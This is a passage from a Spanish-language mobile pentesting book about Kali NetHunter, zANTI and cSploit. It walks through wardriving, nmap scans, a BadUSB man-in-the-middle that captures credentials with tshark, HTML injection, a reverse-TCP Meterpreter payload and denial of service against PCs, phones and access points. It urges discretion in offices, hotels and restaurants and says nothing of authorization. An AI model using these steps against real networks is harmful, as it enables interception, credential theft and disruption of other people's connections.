Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Coispnv2 PDF
Coispnv2 PDF
Bien, a decir verdad, es preferible hacerlo desde un computador normal como lo es una laptop, sin
embargo, habrá ocasiones en las que vas a requerí una flexibilidad o movilidad mayor para una o
varias situaciones determinadas, ya que estas no se van a prestar para hacer uso del equipo antes
mencionado.
En cambio, con un movil puedes aproximarte más a la solución que estás buscando para esta
situación, ya sea que quieras utilizar tú teléfono u otro dispositivo movil como una Tablet. Existen
diferentes piezas de hardware que pueden realizar o se prestan para el trabajo que quieres hacer,
existe un dispositivo llamado “Pwnie Express”, este es un dispositivo movil con la potencia en
hardware suficiente para llevar a cabo tareas de pentesting, además ya viene precargado con
herramientas y cuenta con ciertas modificaciones en el hardware a fin de hacer el trabajo antes
descrito.
Por obvias razones este dispositivo tiene un costo un poco elevado, así que si puedes adquirirlo,
tendrás una ventaja grande, ya que si con anterioridad habías hecho tareas de pentesting desde
el movil entenderás de que estoy hablando, sin embargo, existe otra forma que se puede igualar
a ello.
Apuesto a que conoces o alguna vez viste o usaste aplicaciones o software bastante simple o
básico para dispositivos móviles (En su mayoría Android) que permiten hacer “Hacking o
Pentesting”, en algún un momento remoto pueden llegar a ser útiles, pero jamás serán igual de
eficientes y completas que el software o las herramientas que se encuentran en una distribución
para pentesting, en este caso se trata de Kali NetHunter.
Esta es una distribución para pentesting lanzada por Offensive Security (Desarrolladores de Kali
Linux), en donde podrás encontrar una extensa variedad de herramientas para hacer pentesting y
realizar pruebas del mismo tópico, obviamente no encontrarás todo lo existente en Kali Linux en
Kali NetHunter, ya que habrá funcionalidades sobre las que un movil no se presta para ejecutar,
por ende, esta distribución contiene menos coas, pero las suficientes para poder hacer bien el
trabajo, y pos supuesto, habrá algunas que instalarás manualmente, ya que Kali NetHunter no las
trae viene precargadas, un último detalle es que Kali NetHunter puede funcionar en conjunto con
tu dispositivo movil sin generar gran diferencia, no es “tener Linux instalado”, ya que Kali NetHunter
opera sobre Android.
En esta primera parte del libro, aprenderás a utilizar un dispositivo movil para realizar pentesting
de diferentes maneras mediante vectores de ataque distintos, aquí lo haremos de 2 formas:
• Usando software algo avanzado o aplicaciones complejas para hacer pentesting desde el
movil.
• Haciendo uso de las herramientas existentes en Kali NetHunter.
¿Cómo configurar un movil para que
funcione con Kali NetHunter?
Un detalle que no se puede dejar pasar es la compatibilidad, así es, los desarrolladores de Kali
NetHunter solo lo hicieron para que funcionase en dispositivos Nexus, del modelo 5 hasta el más
reciente el día de hoy, que se trata del OnePlus One, ya que los demás móviles no se prestan para
que Kali NetHunter cumpla con su funcionamiento adecuado.
Obviamente hay demás modelos de teléfonos que operan actualmente con la distro, sin embargo,
Offensive Security publicó una lista de los dispositivos móviles que oficialmente se les puede
instalar y tener funcionando a la perfección a Kali NetHunter, si encuentras otros dispositivos
ajenos a la lista que tienen instalado a Kali NetHunter, pueden correrlo, de una forma no oficial,
estos son los dispositivos oficialmente nombrados por Offensive Security para poder instalarles
Kali NetHunter:
Nexus 5, Nexus 6, Nexus 7, Nexus 9, Nexus 10 o OnePlus One
Esto es importante y que la estabilidad de un sistema, del que sea, lo es todo, y si en un inicio p
“Boot” algo sale mal (qué es muy común), el dispositivo puede sufrir daños irreversibles y puede
quedar inutilizable, por lo que requerirá un “Hard Reset”, por ello solo es recomendable utilizar a
Kali NetHunter solamente sobre los dispositivos antes mencionados.
Para el caso de este libro, el movil que se utilizó para hacer las demostraciones fue el Nexus 6.
IMPORTANTE: Existen diferentes métodos para conseguir la instalación de Kali NetHunter en un
dispositivo movil, unas mejores que otras, pero existe un detalle, todas… TODAS tienen algo en
común, lo laborioso, por lo que te resultará mucho más complejo encontrar instrucciones en texto.
Debajo habrá el URL de un video en donde encontrarás la forma más confiable para conseguir
esta instalación, sin embargo, en el material referente a este capítulo encontrarás el Software
requerido para completar esta instalación.
Le otorgamos el crédito del video y aspectos de Copyright a la persona que es dueña de este
metraje.
https://www.youtube.com/watch?v=Tb_0nOGnTUI
Una vez que hayas finalizado la instalación y los pasos para dejar listo el movil para realizar
pentesting, podrás dar inicio a los temas que encontrarás a partir de la página siguiente,
asumiendo que ya tienes a Kali NetHunter funcionando en tu dispositivo movil. En el enlace de
abajo encontrarás más info a detalle sobre Kali NetHunter:
https://www.kali.org/kali-linux-nethunter/
Recolección de información desde tu móvil.
Descubrimiento y análisis de Redes (WarDriving).
Esta acción nos permite llevar a cabo la tarea de hallar las redes que se encuentren en el
área donde estamos situados, además que se nos puede presentar la posibilidad de explotar
conexiones de las redes WLAN con las que nos topemos, esto mientras recorremos el camino,
(esto puede ser caminando, manejando). Para hacer WarDriving necesitarás un dispositivo
que cuente con una antena interna o externa que esté trabajando en modo promiscuo, este
dispositivo puede ser una Laptop o un móvil, entre lo que se puede obtener gracias al
WarDriving se encuentra bastante información útil como lo es:
Toda la información anteriormente enumerada se puede conseguir mediante el uso de una App
llamada “Wifi Analyzer”, además de que nos permite realizar otras tareas como monitoreo
de intensidad en tiempo real, mostrar grafico de Canales, Listas de AP (Access Points),
hacer uso de un medidor de señal, etc.
Esta App se puede conseguir de forma gratuita en PlayStore, desde donde se descargará e
instalará.
Mostrando así un gráfico que indica las intensidades de la señal de los Access Points
hallados, esta se mide en dBm (decibel milliwatts) mientras menor sea el número de esta
unidad de medida, más fuerte será nuestra señal, asi como se ejemplifica en la imagen. En
este caso el AP con la señal más fuerte es “430FFST”, que es al que está conectado el
dispositivo:
Imagen 3.3: Grafica de Access Points y sus intensidades de señal.
Una vez identificado el canal Wi-Fi, podremos obtener más información detallada sobre este,
como puede ser la obtención de un gráfico en tiempo acerca de los Access Points que
hallemos, también la enumeración de los Access Points encontrados, etc.
Para visualizar esto, abriremos un pequeño menú desplegable que se encuentra en la parte
superior derecha de la App, donde se mostrará distintas funciones, indicándonos la que
estamos llevando a cabo en ese momento, a continuación, realizaremos cada una de estas:
• Puntuación de Canales: Esta función lo que hace es mostrarnos los mejores canales en
nuestro Access Point y los que más están siendo usados, en donde se puede visualizar el
Nombre del AP, el canal actual sobre el que opera y su “Rating” o puntuación de cada uno
de estos canales.
Esto puede llegar a ser bastante útil ya que se puede saber que canales están siendo
utilizados por ciertas redes, con esto se puede evadir el “LAG” en el tráfico de la red, y asi
obtener una señal más fuerte para la red que se establezca en un área, en la siguiente
demostración se ejemplificará esto.
Imagen 6.9 y 2.0: Puntuación de canales y el rango de estos, sobre el cual operan ciertos Access Points.
• Listado de Access Points: Al visualizar la lista de los AP´s encontrados, podemos hallar
información útil como es: la dirección fisca de cada AP (dirección MAC), la dirección IP,
el tipo seguridad o cifrado con el que cuenta este AP, un icono que representa un estimado
de la intensidad de la señal que emite este AP, también la intensidad en su medición exacta
de dBm que también se muestra en tiempo real, el canal en el que opera este AP y la
compañía o marca que fabrico el hardware del router:
Imagen 2.1: Listado de Access Points y con sus respectivos detalles cada uno.
• Medidor de señal: Esta función nos permite realizar la medición en tiempo real de la
intensidad de la señal del Access Point que se haya escogido, esto se puede hacer desde
el botón anteriormente descrito, ya que desde ahí se enumeran las redes Wi-Fi disponibles
en el área.
También nos muestra el nombre de cada AP y su dirección MAC, al realizar la medición los
datos se arrojaran en dBm, en este ejemplo la intensidad del AP fue de -55 dBm:
Imagen 2.2: Medición de intensidad de señal Imagen 2.3: Lista de Access Points disponibles.
del AP “430FFST”.
Como se demostró en estos ejemplos, el WarDriving puede llegar a ser algo de suma utilidad,
ya que nos permite encontrar redes inalámbricas y obtener información detallada de estas
mediante el uso de diferentes dispositivos, ya sea un AP, una computadora portátil o un móvil,
todo esto mientras recorremos una determinado locación o área.
Esta acción se puede definir como el Mapeo de los Access Points en un área definida, esto
puede llevar incluso a descubrir redes con fallos de seguridad o vulnerables a cierto tipo
de ataques.
Recolección de información y Network Mapping.
Luego de haber finalizado con la Fase de WarDriving, una vez identificada la red objetivo,
podemos obtener mayor información acerca de esta. En donde lejos de saber la Dirección
MAC del router, nombre de la red, intensidad de su señal, canales sobre los que opera, etc. Es
momento de averiguar los detalles sobre cada dispositivo conectado a esta red, todo esto se
puede conseguir gracias al “Network Mapping” o Mapeo de redes.
El mapeo de red permiten identificar el sistema operativo de estos hosts, lo puertos que estén
abiertos, cerrados y filtrados, asi como el nombre y version de los servicios asociados a estos,
como es de saberse, mientras más información tengamos sobre nuestro objetivo, mayores
posibilidades de éxito tendremos al querer perjudicarlo. Entre las utilidades que ofrece esta
acción, las que más ventajas nos dan son:
• Identificar Hosts
• Detección de S.O
• Análisis de red.
• Escaneo de puertos
• Fingerprinting de Servicios.
Uso de zANTI.
ZANTI es un framework que nos permite llevar a cabo tareas de recolección de información,
además de que puede realizar ataques como lo es MITM (Man in the Middle), Spoofing de
direcciones MAC, auditar la complejidad de passwords, etc.
https://www.zimperium.com/zanti-mobile-penetration-testing
• Una vez completada esta instalación, abrimos el Framework y seguido de eso nos mostrará
los hosts encontrados mediante un escaneo rápido que hace al iniciar, esto no quiere decir
que se encontraron todos, para asegurarnos de que aparezcan todos los dispositivos
conectados a esta red, realizaremos una vez más este escaneo, con el botón “Refresh”.
Al hacer esto aparecerá y nuevo recuadro indicándonos la función del mapeo y mostrando 2
opciones, “Borrar registros” y “Análisis intrusivo”, por ahora solo habilitaremos la primera
y seleccionaremos OK para comenzar el escaneo. Más adelante trabajaremos con la
segunda función:
Imagen 2.5, 2.6 y 2.7: Proceso para mapeo de red en la que nos encontremos.
Al terminar el escaneo, podremos interactuar con los dispositivos que se muestren en la lista
y poder llevar a cabo múltiples acciones con ellos, en este ejemplo se usará el dispositivo
número dos en la lista, aquel que usa Windows como S.O y cuenta con 9 puertos abiertos, al
seleccionarlo podemos ver 3 columnas:
Comentarios: En esta sección podemos escribir notas acerca del objetivo seleccionado en
zANTI:
Imagen 2.9: Sección de comentarios.
• PORT, STATE Y SERVICE: En estas 3 columnas se enumeran los puertos que se encuentren
abiertos, cerrados o filtrados. En el caso de los abiertos en la columna “Service” se encuentra
la información acerca del servicio que actualmente está ejecutándose en él, así como detalles
sobre versión, etc.
Ahora que tenemos identificado el Host, realizaremos los mismos pasos que en la
demostración anterior para poder ver más información detallada acerca de este Host, como es
número de cada puerto abierto con el que este cuenta. En este caso los que se hallan en este
estado son el: 22, 80, 139, 143, 443, 445, 5001, 8080, 8081 y 137.
En la columna “Análisis con Nmap” se podrá encontrar información acerca de los servicios
en los puertos abiertos del Host, así como el protocolo con el que funciona el puerto, el nombre
del servicio, etc:
Imagen 3.3, 3.4 y 3.5: Descripción del Host e información recopilada con Nmap por zANTI
NOTA: zANTI hace que la información recolectada por Nmap se visible de una forma organizada
y entendible para el usuario, sin embargo esto no quiere decir que solo por este método
haremos uso de Nmap desde nuestro dispositivo con NetHunter. Al igual que en las
distribuciones para pentesting, la forma más rápida de inicializar Nmap es desde la terminal
de comandos, simplemente ejecutando “nmap –h”:
Para ejecutar un comando desde nuestro dispositivo Android, tenemos que usar la terminal,
esta se encuentra en el menú de aplicaciones, su icono identificador es el siguiente:
KALI: Al escoger esta shell, se nos abrirá una terminal de comandos bastante parecida a las
que existen en las distribuciones para pentesting, en donde podremos llevar a cabo la
ejecución de comandos que se involucren o sean afín con las funciones para hacer
pentesting desde nuestro dispositivo Nexus, así como también hacer uso de las
herramientas que trae consigo NetHunter:
ANDRIOD: Por su significado “Android Super User”, aquí se nos provee de una shell de tipo
Unix, en donde podremos realizar la ejecución de comandos con distinta finalidad a los de la
shell de KALI, aquí nos arrojan la shell sobre los directorios del sistema Android, sin embargo
no podremos ejecutarlos todos o llevar a cabo una exploración completa, ya que no tenemos
privilegios de carácter administrativo en esta shell:
Imagen 4.1 y 4.2: Shell tipo ANROIDSU y con permisos y privilegios otorgados.
Ahora que entendemos la finalidad de cada uno de los tipos shell, escogeremos aquella que
nos permita hacer uso de las herramientas que dispone NetHunter, la shell de Kali. Al abrirse
la terminal ejecutaremos el comando: nmap -sV -O “Direccion IP del Host”, lo que nos
mostrará los información detallada acerca de ls servicios funcionando en cada puerto abierto
del host especificado, asi como los detalles acerca del S.O de ese Host, la siguientes
demostraciones serán sobre el Host “OWASPWBA” y el Host “USER”:
• Host OWASPBWA:
Imagen 4.3, 4.4 y 4.5: Detalles acerca de los servicios en los puertos y S.O del Host “OWASPBWA”.
• Host USER:
Imagen 4.6 y 4.7: Detalles acerca de los servicios en los puertos y S.O del Host “USER”.
Ataques Man in the Middle mediante NetHunter.
Después de haber finalizado con la fase de recolección de información usando un dispositivo
móvil mediante el apoyo de zANTI, que como se vio, es una herramienta que nos permite llevar
a cabo múltiples tareas relacionadas con la recolección de información, desde escaneo e
identificación de puertos, servicios y hosts hasta ataques MITM y WarDriving para obtener
información detallada acerca de las redes que se encuentran en el área que transitemos, todo
desde esta aplicación.
Habrá ocasiones en las que se requerirá algo de movilidad y una mayor discreción para
llevar a cabo estos ataques para poder hacer sniffing en la red que estemos dentro, ya sea
LAN o WLAN, ya que el uso de un computador portátil o laptop resulta inadecuado para realizar
estos ataques en un cierto tipo de ambientes, aquí es el momento en el que entra Kali
NetHunter y las herramientas que trae consigo para hacer ataques de tipo MITM (Man in the
Middle).
Gracias al apoyo de estas podremos ver información sensible dentro del trafico al que le
haremos sniffing con la ayuda de nuestro dispositivo móvil y el apoyo de las herramientas que
trae consigo, en donde conseguiremos realizar una irrupción en algún canal de comunicación
legítimo y confiable.
Así para poder conseguir cierta información que supuestamente solo está destinado el usuario
a leer, a lo largo de este segundo módulo se hará uso de las herramientas que trae consigo
NetHunter para realizar ataques de tipo MITM, los cuales serán:
Preparando lo necesario:
Antes de conectar el dispositivo al ordenador objetivo, será necesario realizar algunas
configuraciones previas a la conexión por USB, ya que si se conecta como se acostumbra
a hacerlo, no se capturará nada. Para esto, abriremos una terminal en el dispositivo, al hacerlo
escogeremos la de tipo “KALI”, que será sobre la que trabajaremos. Dentro, navegaremos
hacia el directorio “/sdcard/nh_files” en donde se hallan archivos que serán parte de nuestra
configuracion.
NOTA: La ubicación del directorio “/sdcard” puede variar.
Dentro del directorio, se encuentra un archivo con extensión .txt, con nombre “Flushiptables”,
el cual contiene líneas con comandos que se encargarán de establecer una configuración
para despejar las IP Tables en Linux, esto lo haremos mediante el comando “bash
Flushiptables.txt” asi nuestro móvil funcionará como una tarjeta de red para que el tráfico
fluya por nuestro dispositivo. Todo ya está listo para iniciar nuestro ataque por mediante Bad
USB mediante el menú de Kali NetHunter.
Imagen 4.9 y 5.0: Directorio de Flushiptables.txt
Sin embargo no está de más demostrar como iniciar este ataque mediante la terminal de Kali
en tu dispositivo, para esto, navegaremos al directorio “/configs”, que se encuentra en la
carpeta “/nh_files”, dentro se hallan 2 archivos con extensión .sh, con nombre
“startbadusb”, uno version kitkat y otro version lollipop, en este caso usaremos el segundo,
ya que esta es la version de Android que trae el movil Nexus, para esto ejecutaremos el
comando “bash startbadusb-lollipop, para inicializar las instrucciones que trae dentro, al
ejecutarse se mostrará la version de las iptables, la interfaz sobre la que está corriendo el
script de BADUSB (rndis), y su tipo “hid” (Human interface device)
Para configurar tshark, ejecutaremos el siguiente comando sobre la terminal en la que nos
encontrábamos: tshark -i rndis0 -w “Nombre del archivo de captura” .cap
Donde:
• tshark: hace uso de la herramienta
• -i: Indica la interfaz, en este caso rndis0, que se vio en la función de Bad USB MITM
Attack en el menú de NetHunter.
• -w: Aquí se especifica el nombre del archivo de captura con extensión .cap
Al ejecutar esto, tshark, comenzará a filtrar los paquetes, indicándonos con un contador los
paquetes filtrados, el archivo de captura se guardará dentro el directorio que se ejecute el
comando, en esta demostración se recorrió un directorio para que se guardará en “nh_files”:
Ahora, que está conectado al equipo y configurado con un MITM corriendo, solo queda esperar
a que esta persona continúe con su rutina navegación o a que pase un intervalo de tiempo
para que recojamos el movil después.
En este ejemplo, durante el tiempo que estuvo conectado el movil se navegó hacia diferentes
sitios web que usan protocolo HTTP, los cuales contienen uno o más formularios de Loggeo,
por donde se ingresa un usuario, ID, y un password, las plataformas de trabajo utilizan
servicios que contenga alguna página con algún login, y puesto a que tenemos un MITM
corriendo y capturando el tráfico que pasa del cliente al router, la información que pase por
esas páginas o formularios estará expuesta a que la podamos leer con posterioridad.
Los sitios visitados se verán enumerados por el analizador de red que ocuparemos para
visualizar el archivo de captura, aquí un ejemplo de envío de credenciales ficticias en uno de
los sitios visitados:
Una vez que se haya pasado el tiempo que hayamos decidido poner en marcha el ataque,
simplemente se desconectará el movil del equipo y terminaremos el proceso de tshark, para
hacerlo basta con presionar el botón del volumen bajo y presionar C en el teclado, en
NetHunter esto es el equivalente al Ctrl + C en Linux para detener procesos en una terminal
de comandos, en donde se muestra la cantidad total de paquetes filtrados en el archivo de
captura y seguido de la finalización del proceso:
Ya que se haya detenido el proceso, solo falta extrae el archivo de captura que generó tshark
de donde reside en el movil y abrirlo con nuestro analizador de red para ver el contenido de
estos paquetes, los cuales se visualizarán con Wireshark.
Imagen 5.9: Directorio en donde se ubica el archivo .cap
NOTA: En este ejemplo se usa el S.O Parrot Security, en done ya viene precargado Wireshark,
cabe mencionar que esta herramienta está disponible para Windows, Mac y Linux.
Ya estando en Parrot, una vez que tengamos el archivo .cap dentro de él, abriremos Wireshark,
el cual se puede iniciar mediante línea de comandos o desde el menú de aplicaciones en la
categoría de “Sniffing/Spoofing”:
Una vez abierto Wireshark, no importa que plataforma se use para trabajar con él,
estando dentro, seleccionaremos la opciones “Open a capture file”, desde de la cual
navegaremos hacia donde tengamos el archivo .cap y lo abriremos:
Imagen 6.2: Wireshark.
Una vez abierto, se mostrará todo el contenido del archivo de captura, organizándose por
columnas, en donde nos indica el origen/fuente, el destino, el contenido, protocolo,
tamaño, e información o descripción del paquete:
Redirección hacia otros sitios web: Cuando se lanza un ataque MITM hacia un objetivo, se
puede filtrar, retener o alterar el trafico, una forma de ejemplificarlo es mediante el
redireccionamiento de un sitio web hacia otro, en zANTI solo basta con activar la opcion
“Redirigir HTTP” en donde solo tendremos que cambiar el link que viene por defecto por el de
nuestra preferencia:
Seguido de esto, nos saldremos del input y ya estará corriendo estará funcionando esta acción.
¿Qué es lo que hará? Al activarla, todo el trafico que contenga protocolo HTTP será redirigido
al enlace o URL que proporcionamos, es decir, toda pagina que el host objetivo visite y use
protocolo HTTP será redirigida a la que configuramos en zANTI desde nuestro movil. Ejemplo:
• Iniciamos zANTI, y escaneamos la red en la que nos encontremos, en donde
seleccionaremos el host victima/objetivo para que podamos llevar a cabo las acciones de
ataque hacia este, en donde seleccionarmeos la categoria Man in the Middle:
• Pedidos registrados: Aquí se visualizarán las peticiones http/https que se hagan en red por
parte del host, enlistando los pedidos de navegacion, cabe mencionar que solo se filtraran
las credenciales de accesso de los sitios que redirigan de HTTP a HTTPS.
Pero si desea reenviar todo el tráfico a un sitio en particular, solo basta con pulsar en el icono
de configuración, en donde habrá un área para introducir una URL, ingresa una URL en el
campo y a continuación, vuelva a tocar en el icono de configuración para salirte del input. Una
vez hechas las configuraciones correspondientes. Pondremos el ataque en funcionamiento
presionando el botón de encendido. Lo que sucederá con esto es que mediante MITM de tipo
ARP haremos que el tráfico de los sitios con protocolo HTTP se redirección hacía el sitio que
queramos. Consulta las imágenes.
Imagen 7.2 y 7.3: Re direccionamiento de Tráfico.
Si prestamos atención a la barra de notificaciones en el movil, podemos ver que zANTI muestra
un recuadro cada que tengamos un ataque MITM en acción, no pimporta el tipo, desde aquí
podemos combiar la configuracion inical del ataque o detenerlo.
Remplazo de imágenes: Una cosa más que se puede realizar durante un ataque MITM
mediante zANTI (y de otros modos también) es el remplazo de las imágenes en el sitio web
con protocolo HTTP que visite la victima involucrada en el ataque, estas pueden ser
remplazadas con cualquier imagen en todos los formatos (en ocasiones .GIF).
En las acciones de ataque MITM de zANTI se halla esta opción, solo basta con seleccionar el
host víctima y posteriormente la imagen que deseemos, en este caso se usará la que viene
precargada, habilitamos la opción e iniciamos el ataque:
Podemos notar que nuestra acción de ataque funciona, en 2 páginas distintas, así como
también podemos ver que el ataque se realiza hacia una PC y un movil, en este caso un
iPhone, solo basta con escoger el nuevo host en zANTI e iniciar el debido ataque hacia este.
Inserción de codigo HTML: Otra caracteristica que trae consigo zANTI, es que dentro de las
funcionalidades de ataques MITM podemos insertar codigo HTML en ciertas paginas a las
que la victima o host objetivo visite. Dentro del menú de configuracion para ataques MITM,
nos encontraremos con esta función, desde la cual escribiremos el codigo HTML que
buscamos ejecutar en el navegador ajeno de la victima del atque Man in the Middle, esta
funcion ya trae un pequeño código HTML que nos mostrará un mensaje acerca de zANTI.
Para editarlo solo basta con pulsar el botón del engrane y hacer los cambios que vayamos a
necesitar, para terminar se tiene que activar la funcion con el botón de encendido para
posteriormete iniciar el ataque. Lo que se obtendrá será un “Message Dialog” en el navegador
del equipo victima que visite una pagina con protocolo HTTP en este ejemplo fue “p0isoned
by: HackingMexico”, puedes ingresar el codigo HTML de tu elección. Consulta las imágenes.
Imagen 7.8, 7.9 y 8.0: Inyección de código HTML.
Como ya se sabe, Metasploit es una herramienta bastante famosa que permite llevar a cabo
diferentes tareas de pentesting, desde la recolección de información de un host, hasta acciones
de explotación y post-explotación. Como es de esperarse, NetHunter trae consigo a esta
herramienta, cabe mencionar que no en su totalidad, es decir, la versión de Metasploit en
NetHunter no cuenta con todas las características que traería una distro para pentesting como
lo es Kali, Parrot OS o BackBox, por lo que algunas tareas de pentesting como esta
demostración se verán limitadas debido a esto en NetHunter.
Dentro del menú principal de NetHunter, nos encontramos con el Generador de Payloads de
Metasploit, que es una herramienta que automatiza la creación de payloads en distintos
lenguajes para que funcionen en diferentes plataformas. En el siguiente ejemplo se demostrará
el uso de esta función para lograr la obtención de shells interactivas sobre el equipo víctima.
Para poder realizar esto se requieren ciertos parámetros de configuración, como lo es el tipo
de payload, puerto y dirección IP en donde se creará el canal de comunicación
cliente/servidor, y por último las opciones del módulo, como lo son el tipo de payload y el
protocolo de comunicación.
Imagen 8.1: Configuración de Payload de Python.
Teniendo todo listo, se hace una última revisión de la configuración y se genera el payload, al hacer
esto se abrirá una nueva terminal en donde se mostrará el proceso de compilación de este, en
donde se mostrarán los parámetros de configuración que se establecieron, así como el lugar donde
reside el payload:
Luego de eso, el payload tendrá que mandarse a llamar desde Metasploit y configurarlo para
que trabaje con un Listener de conexiones en la red y pueda arrojarnos la shell de
Meterpreter al momento de su ejecución. Para esto ejecutáremos el siguiente comando desde
dentro del directorio donde reside el payload: “msfconsole –q –r python-meterpreter-
staged-reverse-tcp-666.py”
En donde:
Hecho esto, solo se hace llegar el payload a la maquina víctima que está en el mismo segmento
de red que nosotros, en este caso se hizo la prueba con un Windows 10, en donde solo se
tendrá que ejecutar el script de Python.
Como ya se sabe, Kali Linux y demás distribuciones de seguridad informática pueden ser
utilizadas para hacer testing hacia redes inalámbricas, lo mismo se puede conseguir con Kali
NetHunter, ya que este contiene herramientas para poder llevar a cabo este tipo de tareas con
una mejor movilidad y de una forma más discreta.
Habrá ocasiones en las que parte del trabajo de Pentesting, se tendrá que recorrer un área en
específico en búsqueda de redes inalámbricas para hacerles “Stress testing” (DoS), crackeo
de passwords y demás ataques.
Aquí es cuando una vez más aparece NetHunter, para poder usarlo en estos escenarios va a
ser necesaria un adaptador Wi-Fi inalámbrico y un cable tipo OTG para poder conectarlo a
nuestro móvil.
NOTA: No todas las antenas Wi-Fi externas se prestan para hacer este tipo de pruebas,
por lo tanto no son compatibles con las distros para pentesting incluida Kali/Kali
NetHunter, puesto a que no permiten la inyección de paquetes y no pueden hacer uso de
Modo Monitor, en la siguiente lista podrás encontrar las mejor antenas Wi-Fi externas para
ataques a redes inalámbricas:
• Alfa AWUS036NHA
• Alfa AWUS036NEH
• TP-Link TL-WN722N
Denegación de servicios (DoS) dentro y fuera de la red.
Teniendo como ventaja a nuestro Dispositivo con NetHunter, será mejor hacer de esta forma
el trabajo para mantener una discreción mayor en el lugar donde te encuentres, ya sea tu
oficina, escuela, la recepción de un hotel o tu restaurante preferido, en vez de usar una laptop
y asi evitar la atención que no estemos buscando.
Como se ha visto hasta ahora, se pueden llevar a cabo múltiples acciones de ataque desde
nuestro dispositivo Nexus, que es el que cuenta con distintas herramientas para hacer estos
ataques mediante vectores deferentes, aquí es donde entra otra herramienta, cSploit.
Disponible para la plataforma android, cSploit es un avanzado kit de herramientas bastante
completo que se usa para realizar ataques en distintas formas ofreciéndonos algo que es
demasiado útil al momento de llevar a cabo distintos ataques… portabilidad.
Gracias a cSploit podemos hacer una amplia variedad de ataques con mayor flexibilidad,
desde la recolección de información acerca de un Host en la red, hasta hacer denegación de
servicios y la obtención de sesiones interactivas sobre el host objetivo, los usos principales
de cSploit son:
• Enumeración de Hosts.
• Bloqueo de conexiones
• Encontrar vulnerabilidades.
La herramienta ya viene precargada junto con NetHunter, por lo que no será necesario
instalarla por nuestra cuenta. Si se desea instalar en un movil que no contenga Kali NetHunter
va a ser necesario lo siguiente:
• Que el dispositivo Android cuente con una version 2.3 o superior con ROOT.
• Se requerirá la instalación de SUPERSU, de lo contrario no funcionará.
• El dispositivo Android deberá contar con la instalación de BusyBox, con todas las
utilidades cargadas/instaladas para que funcionen junto con cSploit.
La suite de cSploit se pude descargar desde el siguiente link, en donde puedes encontrar
documentación relacionada: https://github.com/cSploit/android/
1. DoS desde cSploit.
En las demostraciones anteriores de ataques Man in the Middle, pudimos llevar a cabo distintas
funciones de ataque como lo es el filtrar y manipular tráfico, hacer sniffing, etc. Sin embargo
algo que se puede conseguir después de haber hecho esta irrupción en el canal de
comunicación que nos permite actuar como MITM, lejos de hacer sniffing y monitoreo, se
puede hacer ataques de denegación de servicio o conseguir inhabilitar cierta comunicación.
Con cSploit podemos conseguir eso, gracias a su extensa variedad de funciones y acciones
de ataque es posible realizar el bloqueo de conexiones que realiza un host o equipo en la red
que nos encontremos. En el siguiente ejemplo se demostrará la eficacia para realizar el
bloqueo de la comunicación vía web en un host.
Teniendo instalado cSploit en nuestro movil y estando conectados a la red inalámbrica donde
se encuentra el host víctima, abrimos la suite y veremos que enumerará los host funcionales
(activos) en la red. En donde también nos muestra el Router al que estamos conectados y la
máscara de subred, así como los detalles de cada posible objetivo que esté enlistado, en este
caso seleccionaremos el que dice “USER”.
Metasploit cuenta con una útil característica llamada MSFRPCD. Esta proporciona acceso a
una instancia del Framework a través de una conexión RPC (Remote Procedure Call)
cSploit inicia esta llamada y conecta a él. Así cSploit podrá realizar la explotación de un cierto
Host y conseguir sesiones de control sobre el/los objetivos comprometidos.
Una vez que un host de destino ha sido comprometido, puede tomar el control con una shell,
dando por hecho que el objetivo es tuyo. Más adelante tocaremos ese tema.
Asi como otras herramientas, cSploit tiene opciones de configuración inicial antes de ponerse
en acción, como se ve en las imágenes, podemos buscar redes Wi-Fi, crear, guardar o
restaurar sesiones de trabajo, iniciar/detener el monitoreo de la red . Al igual que como lo vimos
con zANTI, es el mismo equipo que cuenta con 7 puertos abiertos, lo seleccionamos. Dentro
de este nuevo menú se enlistan todas las acciones de ataque y funciones que se pueden llevar
a cabo hacia este host, seleccionaremos la categoría de Man in the Middle.
Una vez dentro de esta categoría, se mostrará un nuevo panel que cuenta con las acciones
de ataque mediante MITM, desde aquí se pueden realizar diferentes tareas, como lo es el
sniffing y el re direccionamiento del tráfico no cifrado, DNS Spoofing, remplazó de
imágenes, Secuestro de sesiones no seguras, etc.
El resultado será el tal cual antes descrito, impidiendo la navegacion en el host objetivo, las
pruebas se realizaron visitando a Facebook, Gmail y Twitter, desde el Navegador Comodo
IceDragon versión 49.0.0
Imagen 9.4: Acceso a internet impedido en host víctima.
Lo mismo funciona para los móviles, solo se selecciona el Host correspondiente en el listado
de objetivos detectados por cSploit.
La siguiente prueba se realizó hacía un iPhone con iOS 10.1.1, entrando a Google desde
Safari, además de que también deniega las conexiones que se intentan establecer desde
Apps, como lo es Facebook.
NOTA: Esta simple modalidad de ataque puede ser bastante util/perjudicial, ya que
puedes hacer un flooding en el Router dejando sin Internet a la red completa.
2. Denegación de Servicios a un Access Point mediante NetHunter
Previamente se hicieron pruebas de denegación de servicios (DoS) mediante cSploit en donde
conseguimos dejar inhábil la conexión a internet por parte de un usuario dentro del mismo
segmento de red que nosotros.
Yendo algo más lejos, se puede conseguir lo mismo con una red inalámbrica o AP objetivo,
estableciendo el modo monitor en un adaptador inalámbrico dejando fuera por unos segundos
o más tiempo a un solo cliente o a todos si así lo queremos, desde Kali y demás distros se
puede hacer una extensa variedad de ataques de este tipo, y por supuesto también desde tu
movil con NetHunter.
¿Qué necesitarás?
• Cable OTG
• Tu dispositivo con NetHunter
• Tarjeta o adaptador red inalámbrico (Para esta demostración recomiendo una TP-Link
TL-WN722N)
Teniendo todo listo, conectaremos nuestra antena al movil mediante el cable OTG y abrimos
una nueva terminal de Kali.
Estando dentro lo primero que haremos será habilitar nuestra nueva interface de red, que
será “wlan1” iniciando el servicio de redes, ejecutaremos el primer comando que es: “service
networking start”:
Esto nos indica que ya está en función esta interface de red y puede ser usada. Sabiendo
esto podremos ponerla en función de modo monitor, una forma de hacer esto es con el
comando “airmon-ng start wlan1”
Donde:
¿Qué es Airmon-ng?
Siendo una dependencia de Aircrack-ng, este script se utiliza para habilitar el modo monitor en
las interfaces inalámbricas, en este caso hablamos de nuestra antena externa. Al conseguir
esto, el sistema ahora nos proporcionará una interface identificadora para usar en modo
monitor, en este caso será wlan1mon.
Seguido de esto haremos uso de Airodump-ng para poder encontrar Routers inalámbricos o
Access Points en el área.
Este es fue hecho con la finalidad de capturar paquetes de redes inalámbricas con estándar
802.11, permitiéndonos asi encontrar redes inalámbricas en el lugar, para hacer esto desde
nuestro movil con NetHunter ejecutáremos el comando “airdoump-ng wlan1mon”, para asi
ver los AP que puede encontrar nuestro adaptador externo.
Una vez que hayas encontrado la red objetivo, detienes el ataque con Ctrl + C y abrirás otra
